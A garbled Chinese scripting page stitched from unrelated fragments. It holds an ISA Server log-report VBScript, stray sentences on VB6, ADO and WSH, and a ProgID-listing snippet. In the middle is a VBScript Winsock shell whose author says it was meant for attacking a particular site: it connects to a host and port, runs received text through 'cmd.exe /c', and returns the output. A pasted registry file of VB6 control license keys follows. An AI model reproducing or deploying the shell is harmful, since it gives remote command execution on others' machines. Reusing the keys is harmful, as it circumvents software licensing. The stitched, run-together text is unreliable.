本文介绍了利用VisualBasic6.0来实现显示或播放多媒体数据,所运用的进程调用等技术对于Windows环境下的其他编程应用也有重要的参考价值当然这些start()、vbs()函数是不存在的,但是会被cmd.exe当成命令执行

'ISA 2004 Web Log Query Tool 'Created by mwpq 'Version 1.0 'Date 2007.9.18 On Error Resume Next Dim startdate, enddate Dim topweb, topuser,usertop, usertopweb 'Configuration part of the script '==================================================================startdate=1 ' the newest log files to be queried. 1 means one day ago interday=7 ' the oldest log files is startdate + interday ' For example startdate=1, interday=7 means script will query log files between 8 days ago and yesterday's. topweb="Top 20" ' List Top 20 Websites visited. Just change 20 to other No to get what you want like "top 21" will list top 21 websites. topuser="Top 10" ' List Top 10 users and their total usage. Usertop="Top 20" ' List Top 20 Users with their top websites, depend on uesrtopweb. set to "" to list all users web usage usertopweb="Top 10" sMailTo="mwpq@yahoo.com" 'Send email repor to sMailFrom="admin@yourdomain.com 'Email comes from sMailSub="ISA Web Traffic Report" 'Email Title sSMTPServer="youremailserver" 'Email server strMessage="Please see attachment for the ISA Web Traffic Report." 'Email txt body. satt="C:\Program Files\Microsoft ISA Server\ISALogs\report.htm" 'Email attachment path. The report.htm will be created under ISA's log folder. '===================================================================Const cdoSendUsingMethod="", _ cdoSendUsingPort=2, _ cdoSMTPServer="" 'Create the html reprot and write the html header '=================================================================================================================Const BEGIN_TABLE=" <TABLE width=100% BORDER=0 CELLSPACING=1 CELLPADDING=2>" Const END_TABLE=" </TABLE>" Const ForReading=1 Const ForWriting=2 Const ForAppending=8 Set oFSO=CreateObject("Scripting.FileSystemObject") If oFSO.FileExists(".\report.htm") Then oFSO.Deletefile(".\report.htm") End If If oFSO.FileExists(".\tempsum.w3c") Then oFSO.Deletefile(".\tempsum.w3c") End If Set oFile=oFSO.OpenTextFile(".\report.htm", ForWriting, True, true) 'Write the HTML head to file suit for IE viewer. oFile.writeline ("<HTML>" & vbcrlf & _ "<HEAD>" & vbcrlf & _ "<TITLE> ISA Web Usage Reports</TITLE>" & VbCrLf & _ "<style type=""text/css"">" & vbcrlf) oFile.writeline ("<!--" & vbcrlf & _ ".Title {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 16px; font-weight: bold; color:'#0000cc'}" & vbcrlf & _ ".head {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 14px; font-weight: bold; color:'#ffffff'}" & vbcrlf & _ ".category {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; font-weight: bold; color:'#ffffff'}" & vbcrlf & _ ".result {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; color:'#000000'}" & vbcrlf & _ ".alert {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; font-weight: bold; color:'#ff0000'}" & vbcrlf & _ "a {color: '#000066'; text-decoration:none;}" & vbcrlf & _ "a:hover {text-decoration:underline}" & vbcrlf & _ "-->" & vbcrlf) oFile.writeline ("</style>" & VbCrLf & _ "</HEAD>" & VbCrLf & _ "<body bgcolor=#ffffff>" & VbCrLf) oFile.writeline "<p class=Title> ISA Web Traffic Report - From "&date-startdate-interday&" to "&date-startdate oFile.writeline "<p>" '================================================================================================================='End of create html report header part 'build the log file name list spath="" while interday >=0 dtmDate=date - startdate - interday 'Convert the current Date to UTC '=================================================================================================================strDay=Day(dtmDate) If Len(strDay) < 2 Then strDay="0" & strDay End If strMonth=Month(dtmDate) If Len(strMonth) < 2 Then strMonth="0" & strMonth End If strYear=Year(dtmDate) sdate=strYear & strMonth & strDay '=================================================================================================================stemp2="'"&"ISALOG_"&sdate&"_WEB_* "&"'" spath=spath & stemp2 if interday - startday > 0 then spath=spath&", " end if interday=interday - 1 wend 'Create a temp sumary file set objLogParser=CreateObject("MSUtil.LogQuery") Set objInputFormat=_ CreateObject("MSUtil.LogQuery.W3CInputFormat") SET w3cOutputFormat=WScript.CreateObject("MSUtil.LogQuery.W3COutputFormat") w3cOutputFormat.filemode=1 ' Set file to overwrite mode strQuery="SELECT cs-username, r-host, Sum(add(cs-bytes,sc-bytes)) as SRdata into 'tempsum.w3c' FROM "&spath&" where sc-Network='External' group by cs-username,r-host order by SRdata DESC" objLogParser.Executebatch strQuery, objInputFormat,w3cOutputFormat 'check tempsum.w3c existed Set oFSO1=CreateObject("Scripting.FileSystemObject") If oFSO1.FileExists(".\tempsum.w3c") Then oFSO1=nothing else oFSO1=nothing wscript.echo "Sorry cannot find some of the log files to query! Script Quit." wscript.quit End If 'Generate report based on temp file. '================================================================================'Generate top web sites. fl=0 oFile.writeline (BEGIN_TABLE & VbCrLf) mWHeading topweb&" Websites" mWBRow mWTitle "Site Name" mWTitle "Traffic (MB)" mWERow set objLogParser10=CreateObject("MSUtil.LogQuery") Set objInputFormat10=_ CreateObject("MSUtil.LogQuery.W3CInputFormat") 'objInputFormat.recurse=2 strQuery10="SELECT "&topweb&" r-host, sum(SRdata) as TSRData FROM 'tempsum.w3c' group by r-host order by TSRdata DESC" Set objRecordSet10=objLogParser10.Execute(strQuery10, objInputFormat10) Do While Not objRecordSet10.AtEnd Set objRecord10=objRecordSet10.GetRecord if fl=0 then mWBRow mWDetail2 objRecord10.GetValue("r-host") mwDetail2 FormatNumber(objRecord10.GetValue("TSRdata")/1048576,2) mWERow fl=1 else mWBRow mWDetail1 objRecord10.GetValue("r-host") mwDetail1 FormatNumber(objRecord10.GetValue("TSRdata")/1048576,2) mWERow fl=0 end if 'wscript.echo "uri"& objRecord2.GetValue("r-host") & "---" & objRecord2.GetValue("SRdata") objRecordSet10.MoveNext Loop spacer(12) oFile.writeline (END_TABLE & VbCrLf) '================================================================================'================================================================================'Generate top user list. fl=0 oFile.writeline (BEGIN_TABLE & VbCrLf) mWHeading topuser&" Users list" mWBRow mWTitle "logon Name" mWTitle "Traffic (MB)" mWERow set objLogParser11=CreateObject("MSUtil.LogQuery") Set objInputFormat11=_ CreateObject("MSUtil.LogQuery.W3CInputFormat") 'objInputFormat.recurse=2 strQuery11="SELECT "&topuser&" cs-username, Sum(SRdata) as TSRdata FROM 'tempsum.w3c' group by cs-username order by TSRdata DESC" Set objRecordSet11=objLogParser11.Execute(strQuery11, objInputFormat11) Do While Not objRecordSet11.AtEnd Set objRecord11=objRecordSet11.GetRecord if fl=0 then mWBRow mWDetail2 objRecord11.GetValue("cs-username") mwDetail2 FormatNumber(objRecord11.GetValue("TSRdata")/1048576,2) mWERow fl=1 else mWBRow mWDetail1 objRecord11.GetValue("cs-username") mwDetail1 FormatNumber(objRecord11.GetValue("TSRdata")/1048576,2) mWERow fl=0 end if 'wscript.echo "uri"& objRecord2.GetValue("r-host") & "---" & objRecord2.GetValue("SRdata") objRecordSet11.MoveNext Loop spacer(12) oFile.writeline (END_TABLE & VbCrLf) '================================================================================set objLogParser1=CreateObject("MSUtil.LogQuery") Set objInputFormat1=_ CreateObject("MSUtil.LogQuery.W3CInputFormat") strQuery1="SELECT "&usertop&" cs-username, Sum(SRdata) as TSRdata FROM 'tempsum.w3c' group by cs-username order by TSRdata DESC" Set objRecordSet1=objLogParser1.Execute(strQuery1, objInputFormat1) oFile.writeline (BEGIN_TABLE & VbCrLf) mWHeading usertop&" Users' Web Traffic " Do While Not objRecordSet1.AtEnd Set objRecord1=objRecordSet1.GetRecord strUsername=objRecord1.GetValue("cs-username") stt="'"&strUsername&"'" mWBRow mWTitle strUsername &" ------ Total Web Traffic: " & FormatNumber(objRecord1.GetValue("TSRdata")/1048576,2)&" MB" mWTitle "Traffic (MB)" mWERow 'Wscript.echo "" 'wscript.echo stt &" >>> data: " & objRecord1.GetValue("TSRdata") set objLogParser2=CreateObject("MSUtil.LogQuery") Set objInputFormat2=_ CreateObject("MSUtil.LogQuery.W3CInputFormat") 'objInputFormat.recurse=2 fl=0 strQuery2="SELECT "&usertopweb&" r-host, SRdata FROM 'tempsum.w3c' where cs-username=" &stt&" group by r-host,SRdata" Set objRecordSet2=objLogParser2.Execute(strQuery2, objInputFormat2) Do While Not objRecordSet2.AtEnd Set objRecord2=objRecordSet2.GetRecord if fl=0 then mWBRow mWDetail2 objRecord2.GetValue("r-host") mwDetail2 FormatNumber(objRecord2.GetValue("SRdata")/1048576,2) mWERow fl=1 else mWBRow mWDetail1 objRecord2.GetValue("r-host") mwDetail1 FormatNumber(objRecord2.GetValue("SRdata")/1048576,2) mWERow fl=0 end if 'wscript.echo "uri"& objRecord2.GetValue("r-host") & "---" & objRecord2.GetValue("SRdata") objRecordSet2.MoveNext Loop objRecordSet1.MoveNext spacer(12) Loop oFile.writeline (END_TABLE & VbCrLf) ' Write the html end to report. oFile.WriteLine ("</body>") oFile.WriteLine ("</html>") oFile.Close 'Methods to create html(title and table) part '=================================================================================================================Private Sub mWHeading(sHeading) oFile.writeline ( _ " <tr>" & vbCrLf & _ " <td colspan=7 bgcolor=#0099cc class=head>" & sHeading &"</td>"& vbCrLf & _ " </tr>" & VbCrLf) End Sub Private Sub mWTitle(sContent) oFile.writeline ( _ " <TD bgcolor=#0099ff align=left class=category height=14>" & sContent & "</TD>" & VbCrLf) End Sub Private Sub mWDetail1(sContent) oFile.writeline ( _ " <TD bgcolor=#dce3fc align=left class=result height=12>" & sContent & "</TD>" & VbCrLf) End Sub Private Sub mWDetail2(sContent) oFile.writeline ( _ " <TD bgcolor=#e9fbfe align=left class=result height=12>" & sContent & "</TD>" & VbCrLf) End Sub Private Sub mWAlert1(sContent) oFile.writeline ( _ " <TD bgcolor=#dce3fc align=left class=alert height=12>" & sContent & "</TD>" & VbCrLf) End Sub Private Sub mWAlert2(sContent) oFile.writeline ( _ " <TD bgcolor=#e9fbfe align=left class=alert height=12>" & sContent & "</TD>" & VbCrLf) End Sub Private Sub mWBRow oFile.writeline ( " <tr>" & VbCrLf) End Sub Private Sub mWERow oFile.writeline ( " </tr>" & VbCrLf) End Sub Private Sub spacer(iHeight) oFile.writeline ( _ " <tr><td height=" & iHeight & "></td></tr>" & VbCrLf) End Sub '================================================================================================================='End of create html method 'Send email Dim iMsg, iConf, Flds '// Create the CDO connections. Set iMsg=CreateObject("CDO.Message") Set iConf=CreateObject("CDO.Configuration") Set Flds=iConf.Fields '// SMTP server configuration. With Flds .Item(cdoSendUsingMethod)=cdoSendUsingPort '// Set the SMTP server address here. .Item(cdoSMTPServer)=sSMTPServer .Update End With '// Set the message properties. With iMsg Set .Configuration=iConf .To=sMailTo .From=sMailFrom .Subject=sMailSub .TextBody=strMessage End With 'iMsg.HTMLBody=sMailMessage '// Send the message. iMsg.AddAttachment satt iMsg.Send ' send the message. Set iMsg=Nothing Set iConf=Nothing ->
也就是说,当脚本到达您的计算机时,WSH 充当主机的一部分,它使对象和服务可用于脚本,并提供一系列脚本执行指南前者到用于桌面数据库如ACCESS,FOXPRO的组件,后者是实现新版本ADO组件
'搞一个特殊的站准备用的,没想到,等写完了,洞补上了,郁闷 'by009,baicker@hotmail.com 'date:071221 Dimrevdata setsock=WScript.createobject("MSWinsock.Winsock","WSEvent_") setsc=createobject("WScript.Shell") Setfso=CreateObject("Scripting.FileSystemObject") sock.connect"127.0.0.1",1234 SubWSEvent_Connect() wscript.echo"Connected!" endsub SubWSEvent_DataArrival(bytes) MyString="blank" sock.GetDataMyString revdata=MyString ifbytes>0then ifinstr(revdata,"exit")>0then sock.close sock.close sock=nothing bClose=true exitsub else onerrorresumenext tempfile="C:"&fso.GetTempName cmd=left(revdata,len(revdata)-1) callsc.Run("cmd.exe/c"&cmd&">"&tempfile,0,True) Settxf=fso.OpenTextFile(tempfile,1,false,0) sock.senddatatxf.readall&vbcrlf&vbcrlf txf.close callfso.DeleteFile(TempFile,True) endif sock.senddata"009>" endif endsub WhileNotbClose WScript.Sleep1 Wend ――――――――――――――――――――――――――――――――――――― 调用winsock,未装VB的需要导入注册表 ――――――――――――――vb6controls.reg―――――――――――――――――- REGEDIT HKEY_CLASSES_ROOT\Licenses=Licensing:Copyingthekeysmaybeaviolationofestablishedcopyrights. //MaskedEditControl6.0licensekey HKEY_CLASSES_ROOT\Licenses\BC96F860-9928-11cf-8AFA-00AA00C00905=mmimfflflmqmlfffrlnmofhfkgrlmmfmqkqj //ChartControl6.0(OLEDB)licensekey HKEY_CLASSES_ROOT\Licenses\12B142A4-BD51-11d1-8C08-0000F8754DA1=aadhgafabafajhchnbchehfambfbbachmfmb //CommonDialogControl6.0licensekey HKEY_CLASSES_ROOT\Licenses\4D553650-6ABE-11cf-8ADB-00AA00C00905=gfjmrfkfifkmkfffrlmmgmhmnlulkmfmqkqj //ADODataControl6.0(OLEDB)licensekey HKEY_CLASSES_ROOT\Licenses\C4145310-469C-11d1-B182-00A0C922E820=konhqhioohihphkouimonhqhvnwiqhhhnjti //CommonControls-36.0licensekey HKEY_CLASSES_ROOT\Licenses\38911DA0-E448-11D0-84A3-00DD01104159=mcpckchcdchjcjcclidcgcgchdqdcjhcojpd //WindowsCommonControls-25.0(SP2)licensekey HKEY_CLASSES_ROOT\Licenses\9E799BF1-8817-11cf-958F-0020AFC28C3B=uqpqnqkjujkjjjjqwktjrjkjtkupsjnjtoun //WindowsCommonControlslicensekey HKEY_CLASSES_ROOT\Licenses\57CBF9E0-6AA7-11cf-8ADB-00AA00C00905=aahakhchghkhfhaamghhbhbhkbpgfhahlfle //DataBoundGridControl5.0(SP3)licensekey HKEY_CLASSES_ROOT\Licenses\556C75F1-EFBC-11CF-B9F3-00A0247033C4=xybiedobrqsprbijaegcbislrsiucfjdhisl //DataBoundListControls6.0licensekey HKEY_CLASSES_ROOT\Licenses\096EFC40-6ABF-11cf-850C-08002B30345D=knsgigmnmngnmnigthmgpninrmumhgkgrlrk //InternetTransferControl6.0licensekey HKEY_CLASSES_ROOT\Licenses\78E1BDD1-9941-11cf-9756-00AA00C00908=yjrjvqkjlqqjnqkjvprqsjnjvkuknjpjtoun //MultimediaControl6.0licensekey HKEY_CLASSES_ROOT\Licenses\B1EFCCF0-6AC1-11cf-8ADB-00AA00C00905=qqkjvqpqmqjjpqjjvpqqkqmqvkypoqjquoun //ChartControl6.0licensekey HKEY_CLASSES_ROOT\Licenses\7C35CA30-D112-11cf-8E72-00A0C90F26F8=whmhmhohmhiorhkouimhihihwiwinhlosmsl //WindowsCommonControls-26.0licensekey HKEY_CLASSES_ROOT\Licenses\4F86BADF-9F77-11d1-B1B7-0000F8753F5D=iplpwpnippopupiivjrioppisjsjlpiiokuj //WindowsCommonControls6.0licensekey HKEY_CLASSES_ROOT\Licenses\ED4B87C4-9F76-11d1-8BF7-0000F8754DA1=knlggnmntgggrninthpgmnngrhqhnnjnslsh //CommControl6.0licensekey HKEY_CLASSES_ROOT\Licenses\4250E830-6AC2-11cf-8ADB-00AA00C00905=kjljvjjjoquqmjjjvpqqkqmqykypoqjquoun //DataGridControl6.0(OLEDB)licensekey HKEY_CLASSES_ROOT\Licenses\CDE57A55-8B86-11D0-b3C6-00A0C90AEA82=ekpkhddkjkekpdjkqemkfkldoeoefkfdjfqe //DataListControl6.0(OLEDB)licensekey HKEY_CLASSES_ROOT\Licenses\A133F000-CCB0-11d0-A316-00AA00688B10=cibbcimbpihbbbbbnhdbeidiocmcbbdbgdoc //DBWinlicensekey HKEY_CLASSES_ROOT\Licenses\D015B071-D2ED-11d0-A31A-00AA00688B10=gjdcfjpcmjicjcdcoihcechjlioiccechepd //MSDBRPTlicensekey HKEY_CLASSES_ROOT\Licenses\9DF1A470-BA8E-11D0-849C-00A0C90DC8A9=cchcqjejhcgcqcfjpdfcdjkckiqikchcojpd //FlexGridControl6.0licensekey HKEY_CLASSES_ROOT\Licenses\72E67120-5959-11cf-91F6-C2863C385E30=ibcbbbebqbdbciebmcobmbhifcmciibblgmf //MAPIControls6.0licensekey HKEY_CLASSES_ROOT\Licenses\899B3E80-6AC6-11cf-8ADB-00AA00C00905=wjsjjjlqmjpjrjjjvpqqkqmqukypoqjquoun //MSRDO2.0licensekey HKEY_CLASSES_ROOT\Licenses\B1692F60-23B0-11D0-8E95-00A0C90F26F8=mjjjccncgjijrcfjpdfjfcejpdkdkcgjojpd //RemoteDataControl6.0licensekey HKEY_CLASSES_ROOT\Licenses\43478d75-78e0-11cf-8e78-00a0d100038e=imshohohphlmnhimuinmphmmuiminhlmsmsl //WindowlessControls6.0licensekey HKEY_CLASSES_ROOT\Licenses\80E80EF0-DBBE-11D0-BCE2-00A0C90DCA10=qijimitpmpnpxplpvjnikpkpqoxjmpkpoivj //PictureClipControl6.0licensekey HKEY_CLASSES_ROOT\Licenses\6FB38640-6AC7-11cf-8ADB-00AA00C00905=gdjkokgdldikhdddpjkkekgknesjikdkoioh //RichTextBoxControl6.0licensekey HKEY_CLASSES_ROOT\Licenses\DC4D7920-6AC8-11cf-8ADB-00AA00C00905=iokouhloohrojhhhtnooiokomiwnmohosmsl //SheridanTabControllicensekey HKEY_CLASSES_ROOT\Licenses\190B7910-992A-11cf-8AFA-00AA00C00905=gclclcejjcmjdcccoikjlcecoioijjcjnhng //SysInfoControl6.0licensekey HKEY_CLASSES_ROOT\Licenses\E32E2733-1BC5-11d0-B8C3-00A0C90DCA10=kmhfimlflmmfpffmsgfmhmimngtghmoflhsg //WinsockControl6.0licensekey HKEY_CLASSES_ROOT\Licenses\2c49f800-c2dd-11cf-9ad6-0080c7e7b78d=mlrljgrlhltlngjlthrligklpkrhllglqlrk 在建立之前,最好先查询这两个系统表,看名称是否已经存在
foreachkeyinallkeys '第1个点在哪儿(跳过初始点)? pos=Instr(2,key,".") ifpos>0then 'there'sadot.Isthereanotherone? pos2=Instr(pos+1,key,".") ifpos2>0then 'yes,sothisnameisversionspecific 'checkwhetherwealreadyhavea 'version-independentprogid! independent=left(key,pos2-1) ifnotdict.Exists(independent)then 'no,storeit dict.Addkey,0 endif else 'thisoneisversion-independent. 'dowealreadyhaveaversion-dependent 'progIDinstore? vdpid="" foreachelementindict iflen(element)>len(key)then ifleft(element,len(key)+1)=key&"."then 'yes,returnname vdpid=element exitfor endif endif next 'anyversiondependentprogIDfound? ifvdpid=""then 'no,addtostore dict.addkey,0 else 'yes,replace dict.Removevdpid dict.addkey,0 endif endif endif next MsgBoxdict.Count&"Objectsfound!" foreachkeyindict list=list&key&vbCrlf next MsgBoxlist outputfile="C:\OBJECT.TXT" setfs=CreateObject("Scripting.FileSystemObject") setoutput=fs.CreateTextFile(outputfile,true) printdict.Count&"Objectsfound!" Printlist output.close wshshell.runoutputfile subPrint(text) '写信息到记录文件 output.WriteLinetext endsub88键钢琴如果keepLocal属性不存在,则先建立之,然后把它附加到表的Properties集合中去,并将其值设置为“T”它也是不含任何脚本编写代码之类内容的章节。